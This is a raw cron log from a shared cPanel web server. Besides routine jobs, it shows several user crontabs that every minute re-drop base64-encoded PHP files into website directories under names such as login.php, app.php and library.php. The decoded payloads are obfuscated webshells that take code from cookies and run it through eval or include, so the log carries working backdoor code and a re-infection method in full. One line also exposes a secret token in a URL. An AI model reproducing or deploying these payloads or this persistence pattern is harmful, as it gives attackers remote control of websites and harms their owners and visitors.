Jun  7 09:31:01 medusa CROND[11219]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:31:01 medusa CROND[11220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:31:01 medusa CROND[11221]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:31:01 medusa CROND[11222]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:31:01 medusa CROND[11224]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:31:01 medusa CROND[11226]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:32:01 medusa CROND[12820]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:32:01 medusa CROND[12821]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:32:01 medusa CROND[12822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:32:01 medusa CROND[12823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:32:01 medusa CROND[12824]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:32:01 medusa CROND[12826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:32:01 medusa CROND[12825]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:32:01 medusa CROND[12829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:32:01 medusa CROND[12830]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:32:01 medusa CROND[12831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:32:01 medusa CROND[12836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:32:01 medusa CROND[12835]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:32:01 medusa CROND[12833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:33:02 medusa CROND[14490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:33:02 medusa CROND[14491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:33:02 medusa CROND[14492]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:33:02 medusa CROND[14493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:33:02 medusa CROND[14494]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
